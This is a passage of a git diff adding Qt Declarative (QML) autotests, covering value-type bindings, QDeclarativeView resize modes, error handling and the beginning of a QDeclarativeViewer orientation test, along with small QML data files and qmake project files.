+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect().x(), 10);
+
+ object->setProperty("value", QVariant(13));
+
+ QCOMPARE(object->rect().x(), 13);
+
+ object->emitRunScript();
+
+ QCOMPARE(object->rect(), QRect(10, 10, 10, 10));
+
+ object->setProperty("value", QVariant(92));
+
+ QCOMPARE(object->rect(), QRect(10, 10, 10, 10));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("autoBindingRemoval.3.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ object->setProperty("value", QVariant(QRect(9, 22, 33, 44)));
+
+ QCOMPARE(object->rect(), QRect(9, 22, 33, 44));
+
+ object->emitRunScript();
+
+ QCOMPARE(object->rect(), QRect(44, 22, 33, 44));
+
+ object->setProperty("value", QVariant(QRect(19, 3, 4, 8)));
+
+ QCOMPARE(object->rect(), QRect(44, 22, 33, 44));
+
+ delete object;
+ }
+*/
+}
+
+// Test that property value sources assign to value types
+void tst_qdeclarativevaluetypes::valueSources()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("valueSources.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect().x(), 3345);
+
+ delete object;
+}
+
+static void checkNoErrors(QDeclarativeComponent& component)
+{
+ QList<QDeclarativeError> errors = component.errors();
+ if (errors.isEmpty())
+ return;
+ for (int ii = 0; ii < errors.count(); ++ii) {
+ const QDeclarativeError &error = errors.at(ii);
+ qWarning("%d:%d:%s",error.line(),error.column(),error.description().toUtf8().constData());
+ }
+}
+
+// Test that property value interceptors can be applied to value types
+void tst_qdeclarativevaluetypes::valueInterceptors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("valueInterceptors.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ checkNoErrors(component);
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect().x(), 13);
+
+ object->setProperty("value", 99);
+
+ QCOMPARE(object->rect().x(), 112);
+
+ delete object;
+}
+
+// Test that you can't assign a binding to the "root" value type, and a sub-property
+void tst_qdeclarativevaluetypes::bindingConflict()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingConflict.qml"));
+ QCOMPARE(component.isError(), true);
+}
+
+#define CPP_TEST(type, v) \
+{ \
+ type *t = new type; \
+ QVariant value(v); \
+ t->setValue(value); \
+ QCOMPARE(t->value(), value); \
+ delete t; \
+}
+
+// Test that accessing a reference to a valuetype after the owning object is deleted
+// doesn't crash
+void tst_qdeclarativevaluetypes::deletedObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("deletedObject.qml"));
+ QTest::ignoreMessage(QtDebugMsg, "Test: 2");
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QObject *dObject = qvariant_cast<QObject *>(object->property("object"));
+ QVERIFY(dObject != 0);
+ delete dObject;
+
+ QTest::ignoreMessage(QtDebugMsg, "Test: undefined");
+ object->emitRunScript();
+
+ delete object;
+}
+
+// Test that value types can be assigned to another value type property in a binding
+void tst_qdeclarativevaluetypes::bindingVariantCopy()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingVariantCopy.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect(), QRect(19, 33, 5, 99));
+
+ delete object;
+}
+
+// Test that value types can be assigned to another value type property in script
+void tst_qdeclarativevaluetypes::scriptVariantCopy()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptVariantCopy.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect(), QRect(2, 3, 109, 102));
+
+ object->emitRunScript();
+
+ QCOMPARE(object->rect(), QRect(19, 33, 5, 99));
+
+ delete object;
+}
+
+
+// Test that the value type classes can be used manually
+void tst_qdeclarativevaluetypes::cppClasses()
+{
+ CPP_TEST(QDeclarativePointValueType, QPoint(19, 33));
+ CPP_TEST(QDeclarativePointFValueType, QPointF(33.6, -23));
+ CPP_TEST(QDeclarativeSizeValueType, QSize(-100, 18));
+ CPP_TEST(QDeclarativeSizeFValueType, QSizeF(-100.7, 18.2));
+ CPP_TEST(QDeclarativeRectValueType, QRect(13, 39, 10928, 88));
+ CPP_TEST(QDeclarativeRectFValueType, QRectF(88.2, -90.1, 103.2, 118));
+ CPP_TEST(QDeclarativeVector2DValueType, QVector2D(19.7, 1002));
+ CPP_TEST(QDeclarativeVector3DValueType, QVector3D(18.2, 19.7, 1002));
+ CPP_TEST(QDeclarativeVector4DValueType, QVector4D(18.2, 19.7, 1002, 54));
+ CPP_TEST(QDeclarativeQuaternionValueType, QQuaternion(18.2, 19.7, 1002, 54));
+ CPP_TEST(QDeclarativeMatrix4x4ValueType,
+ QMatrix4x4(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16));
+ CPP_TEST(QDeclarativeFontValueType, QFont("Helvetica"));
+
+}
+
+void tst_qdeclarativevaluetypes::enums()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.1.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->font().capitalization() == QFont::AllUppercase);
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.2.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->font().capitalization() == QFont::AllUppercase);
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.3.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->font().capitalization() == QFont::AllUppercase);
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.4.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->font().capitalization() == QFont::AllUppercase);
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.5.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->font().capitalization() == QFont::AllUppercase);
+ delete object;
+ }
+}
+
+// Tests switching between "conflicting" bindings (eg. a binding on the core
+// property, to a binding on the value-type sub-property)
+void tst_qdeclarativevaluetypes::conflictingBindings()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("conflicting.1.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 12);
+
+ QMetaObject::invokeMethod(object, "toggle");
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 6);
+
+ QMetaObject::invokeMethod(object, "toggle");
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 12);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("conflicting.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 6);
+
+ QMetaObject::invokeMethod(object, "toggle");
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 12);
+
+ QMetaObject::invokeMethod(object, "toggle");
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 6);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("conflicting.3.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 12);
+
+ QMetaObject::invokeMethod(object, "toggle");
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 24);
+
+ QMetaObject::invokeMethod(object, "toggle");
+
+ QCOMPARE(qvariant_cast<QFont>(object->property("font")).pixelSize(), 12);
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::returnValues()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("returnValues.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toBool(), true);
+ QCOMPARE(object->property("test2").toBool(), true);
+ QCOMPARE(object->property("size").toSize(), QSize(13, 14));
+
+ delete object;
+}
+
+void tst_qdeclarativevaluetypes::varAssignment()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("varAssignment.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("x").toInt(), 1);
+ QCOMPARE(object->property("y").toInt(), 2);
+ QCOMPARE(object->property("z").toInt(), 3);
+
+ delete object;
+}
+
+// Test bindings splice together correctly
+void tst_qdeclarativevaluetypes::bindingsSpliceCorrectly()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingsSpliceCorrectly.1.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingsSpliceCorrectly.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingsSpliceCorrectly.3.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingsSpliceCorrectly.4.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingsSpliceCorrectly.5.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+ }
+}
+
+QTEST_MAIN(tst_qdeclarativevaluetypes)
+
+#include "tst_qdeclarativevaluetypes.moc"
diff --git a/tests/auto/declarative/qdeclarativeview/data/error1.qml b/tests/auto/declarative/qdeclarativeview/data/error1.qml
new file mode 100644
index 00000000..4887ff90
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeview/data/error1.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Rectangle {
+ nonExistentProperty: 5
+}
diff --git a/tests/auto/declarative/qdeclarativeview/data/resizemodedeclarativeitem.qml b/tests/auto/declarative/qdeclarativeview/data/resizemodedeclarativeitem.qml
new file mode 100644
index 00000000..e5501a10
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeview/data/resizemodedeclarativeitem.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+Item {
+ width: 200
+ height: 200
+}
diff --git a/tests/auto/declarative/qdeclarativeview/data/resizemodegraphicswidget.qml b/tests/auto/declarative/qdeclarativeview/data/resizemodegraphicswidget.qml
new file mode 100644
index 00000000..f2709088
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeview/data/resizemodegraphicswidget.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+QGraphicsWidget {
+ width: 200
+ height: 200
+}
diff --git a/tests/auto/declarative/qdeclarativeview/qdeclarativeview.pro b/tests/auto/declarative/qdeclarativeview/qdeclarativeview.pro
new file mode 100644
index 00000000..fc4790d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeview/qdeclarativeview.pro
@@ -0,0 +1,13 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeview.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
diff --git a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
new file mode 100644
index 00000000..1a2fba24
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
@@ -0,0 +1,321 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtGui/qgraphicswidget.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativeView : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeView();
+
+private slots:
+ void scene();
+ void resizemodedeclarativeitem();
+ void resizemodegraphicswidget();
+ void errors();
+
+private:
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &objectName);
+};
+
+
+tst_QDeclarativeView::tst_QDeclarativeView()
+{
+}
+
+void tst_QDeclarativeView::scene()
+{
+ // QTBUG-14771
+ QGraphicsScene scene;
+ scene.setItemIndexMethod(QGraphicsScene::NoIndex);
+ scene.setStickyFocus(true);
+
+ QDeclarativeView *view = new QDeclarativeView();
+ QVERIFY(view);
+ QVERIFY(view->scene());
+ view->setScene(&scene);
+ QCOMPARE(view->scene(), &scene);
+
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml"));
+ QDeclarativeItem* declarativeItem = qobject_cast<QDeclarativeItem*>(view->rootObject());
+ QVERIFY(declarativeItem);
+ QVERIFY(scene.items().count() > 0);
+ QCOMPARE(scene.items().at(0), declarativeItem);
+}
+
+void tst_QDeclarativeView::resizemodedeclarativeitem()
+{
+ QWidget window;
+ QDeclarativeView *canvas = new QDeclarativeView(&window);
+ QVERIFY(canvas);
+ QSignalSpy sceneResizedSpy(canvas, SIGNAL(sceneResized(QSize)));
+ canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ QCOMPARE(QSize(0,0), canvas->initialSize());
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml"));
+ QDeclarativeItem* declarativeItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(declarativeItem);
+ window.show();
+
+ // initial size from root object
+ QCOMPARE(declarativeItem->width(), 200.0);
+ QCOMPARE(declarativeItem->height(), 200.0);
+ QCOMPARE(canvas->size(), QSize(200, 200));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(canvas->size(), canvas->initialSize());
+ QCOMPARE(sceneResizedSpy.count(), 1);
+
+ // size update from view
+ canvas->resize(QSize(80,100));
+ QCOMPARE(declarativeItem->width(), 80.0);
+ QCOMPARE(declarativeItem->height(), 100.0);
+ QCOMPARE(canvas->size(), QSize(80, 100));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy.count(), 2);
+
+ canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject);
+
+ // size update from view disabled
+ canvas->resize(QSize(60,80));
+ QCOMPARE(declarativeItem->width(), 80.0);
+ QCOMPARE(declarativeItem->height(), 100.0);
+ QCOMPARE(canvas->size(), QSize(60, 80));
+ QCOMPARE(sceneResizedSpy.count(), 3);
+
+ // size update from root object
+ declarativeItem->setWidth(250);
+ declarativeItem->setHeight(350);
+ QCOMPARE(declarativeItem->width(), 250.0);
+ QCOMPARE(declarativeItem->height(), 350.0);
+ QTRY_COMPARE(canvas->size(), QSize(250, 350));
+ QCOMPARE(canvas->size(), QSize(250, 350));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy.count(), 4);
+
+ // reset canvas
+ window.hide();
+ delete canvas;
+ canvas = new QDeclarativeView(&window);
+ QVERIFY(canvas);
+ QSignalSpy sceneResizedSpy2(canvas, SIGNAL(sceneResized(QSize)));
+ canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml"));
+ declarativeItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(declarativeItem);
+ window.show();
+
+ // initial size for root object
+ QCOMPARE(declarativeItem->width(), 200.0);
+ QCOMPARE(declarativeItem->height(), 200.0);
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(canvas->size(), canvas->initialSize());
+ QCOMPARE(sceneResizedSpy2.count(), 1);
+
+ // size update from root object
+ declarativeItem->setWidth(80);
+ declarativeItem->setHeight(100);
+ QCOMPARE(declarativeItem->width(), 80.0);
+ QCOMPARE(declarativeItem->height(), 100.0);
+ QTRY_COMPARE(canvas->size(), QSize(80, 100));
+ QCOMPARE(canvas->size(), QSize(80, 100));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy2.count(), 2);
+
+ // size update from root object disabled
+ canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ declarativeItem->setWidth(60);
+ declarativeItem->setHeight(80);
+ QCOMPARE(canvas->width(), 80);
+ QCOMPARE(canvas->height(), 100);
+ QCOMPARE(QSize(declarativeItem->width(), declarativeItem->height()), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy2.count(), 2);
+
+ // size update from view
+ canvas->resize(QSize(200,300));
+ QCOMPARE(declarativeItem->width(), 200.0);
+ QCOMPARE(declarativeItem->height(), 300.0);
+ QCOMPARE(canvas->size(), QSize(200, 300));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy2.count(), 3);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeView::resizemodegraphicswidget()
+{
+ QWidget window;
+ QDeclarativeView *canvas = new QDeclarativeView(&window);
+ QVERIFY(canvas);
+ QSignalSpy sceneResizedSpy(canvas, SIGNAL(sceneResized(QSize)));
+ canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodegraphicswidget.qml"));
+ QGraphicsWidget* graphicsWidget = qobject_cast<QGraphicsWidget*>(canvas->rootObject());
+ QVERIFY(graphicsWidget);
+ window.show();
+
+ // initial size from root object
+ QCOMPARE(graphicsWidget->size(), QSizeF(200.0, 200.0));
+ QCOMPARE(canvas->size(), QSize(200, 200));
+ QCOMPARE(canvas->size(), QSize(200, 200));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(canvas->size(), canvas->initialSize());
+ QCOMPARE(sceneResizedSpy.count(), 1);
+
+ // size update from view
+ canvas->resize(QSize(80,100));
+ QCOMPARE(graphicsWidget->size(), QSizeF(80.0,100.0));
+ QCOMPARE(canvas->size(), QSize(80,100));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy.count(), 2);
+
+ // size update from view disabled
+ canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject);
+ canvas->resize(QSize(60,80));
+ QCOMPARE(graphicsWidget->size(), QSizeF(80.0,100.0));
+ QCOMPARE(canvas->size(), QSize(60, 80));
+ QCOMPARE(sceneResizedSpy.count(), 3);
+
+ // size update from root object
+ graphicsWidget->resize(QSizeF(250.0, 350.0));
+ QCOMPARE(graphicsWidget->size(), QSizeF(250.0,350.0));
+ QCOMPARE(canvas->size(), QSize(250, 350));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy.count(), 4);
+
+ // reset canvas
+ window.hide();
+ delete canvas;
+ canvas = new QDeclarativeView(&window);
+ QVERIFY(canvas);
+ QSignalSpy sceneResizedSpy2(canvas, SIGNAL(sceneResized(QSize)));
+ canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodegraphicswidget.qml"));
+ graphicsWidget = qobject_cast<QGraphicsWidget*>(canvas->rootObject());
+ QVERIFY(graphicsWidget);
+ window.show();
+
+ // initial size from root object
+ QCOMPARE(graphicsWidget->size(), QSizeF(200.0, 200.0));
+ QCOMPARE(canvas->size(), QSize(200, 200));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(canvas->size(), canvas->initialSize());
+ QCOMPARE(sceneResizedSpy2.count(), 1);
+
+ // size update from root object
+ graphicsWidget->resize(QSizeF(80, 100));
+ QCOMPARE(graphicsWidget->size(), QSizeF(80.0, 100.0));
+ QCOMPARE(canvas->size(), QSize(80, 100));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy2.count(), 2);
+
+ // size update from root object disabled
+ canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ graphicsWidget->resize(QSizeF(60,80));
+ QCOMPARE(canvas->size(), QSize(80,100));
+ QCOMPARE(QSize(graphicsWidget->size().width(), graphicsWidget->size().height()), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy2.count(), 2);
+
+ // size update from view
+ canvas->resize(QSize(200,300));
+ QCOMPARE(graphicsWidget->size(), QSizeF(200.0, 300.0));
+ QCOMPARE(canvas->size(), QSize(200, 300));
+ QCOMPARE(canvas->size(), canvas->sizeHint());
+ QCOMPARE(sceneResizedSpy2.count(), 3);
+
+ window.show();
+ delete canvas;
+}
+
+static void silentErrorsMsgHandler(QtMsgType, const char *)
+{
+}
+
+void tst_QDeclarativeView::errors()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ QVERIFY(canvas);
+ QtMsgHandler old = qInstallMsgHandler(silentErrorsMsgHandler);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/error1.qml"));
+ qInstallMsgHandler(old);
+ QVERIFY(canvas->status() == QDeclarativeView::Error);
+ QVERIFY(canvas->errors().count() == 1);
+ delete canvas;
+}
+
+template<typename T>
+T *tst_QDeclarativeView::findItem(QGraphicsObject *parent, const QString &objectName)
+{
+ if (!parent)
+ return 0;
+
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->QGraphicsObject::children().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName))
+ return static_cast<T*>(item);
+ item = findItem<T>(item, objectName);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+QTEST_MAIN(tst_QDeclarativeView)
+
+#include "tst_qdeclarativeview.moc"
diff --git a/tests/auto/declarative/qdeclarativeviewer/data/orientation.qml b/tests/auto/declarative/qdeclarativeviewer/data/orientation.qml
new file mode 100644
index 00000000..fb343120
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeviewer/data/orientation.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+Rectangle {
+ color: "black"
+ width: (runtime.orientation == Orientation.Landscape || runtime.orientation == Orientation.LandscapeInverted) ? 300 : 200
+ height: (runtime.orientation == Orientation.Landscape || runtime.orientation == Orientation.LandscapeInverted) ? 200 : 300
+ Text {
+ text: {
+ if (runtime.orientation == Orientation.Portrait)
+ return "Portrait"
+ if (runtime.orientation == Orientation.PortraitInverted)
+ return "PortraitInverted"
+ if (runtime.orientation == Orientation.Landscape)
+ return "Landscape"
+ if (runtime.orientation == Orientation.LandscapeInverted)
+ return "LandscapeInverted"
+ }
+ color: "white"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeviewer/qdeclarativeviewer.pro b/tests/auto/declarative/qdeclarativeviewer/qdeclarativeviewer.pro
new file mode 100644
index 00000000..8d4b4105
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeviewer/qdeclarativeviewer.pro
@@ -0,0 +1,19 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+include(../../../../tools/qml/qml.pri)
+
+SOURCES += tst_qdeclarativeviewer.cpp
+
+include(../symbianlibs.pri)
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativeviewer/tst_qdeclarativeviewer.cpp b/tests/auto/declarative/qdeclarativeviewer/tst_qdeclarativeviewer.cpp
new file mode 100644
index 00000000..6a38ac8d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeviewer/tst_qdeclarativeviewer.cpp
@@ -0,0 +1,373 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtGui/qmenubar.h>
+#include <QSignalSpy>
+#include "../../../shared/util.h"
+#include "qmlruntime.h"
+#include "deviceorientation.h"
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+#if defined(Q_OS_MAC) || defined(Q_WS_MAEMO_5) || defined(Q_WS_S60)
+# define MENUBAR_HEIGHT(mw) 0
+#else
+# define MENUBAR_HEIGHT(mw) (mw->menuBar()->height())
+#endif
+
+class tst_QDeclarativeViewer : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeViewer();
+
+private slots:
+ void runtimeContextProperty();
+ void loading();
+ void fileBrowser();
+ void resizing();
+ void paths();
+ void slowMode();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_QDeclarativeViewer::tst_QDeclarativeViewer()
+{
+}
+
+#define TEST_INITIAL_SIZES(viewer) { \
+ QDeclarativeItem* rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject()); \
+ QVERIFY(rootItem); \
+\
+ QCOMPARE(rootItem->width(), 200.0); \
+ QCOMPARE(rootItem->height(), 300.0); \
+ QTRY_COMPARE(viewer->view()->size(), QSize(200, 300)); \
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300)); \
+ QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer))); \
+ QCOMPARE(viewer->size(), viewer->sizeHint()); \
+}
+
+void tst_QDeclarativeViewer::runtimeContextProperty()
+{
+ QDeclarativeViewer *viewer = new QDeclarativeViewer();
+ QVERIFY(viewer);
+ viewer->open(SRCDIR "/data/orientation.qml");
+ QVERIFY(viewer->view());
+ QVERIFY(viewer->menuBar());
+ QDeclarativeItem* rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(rootItem);
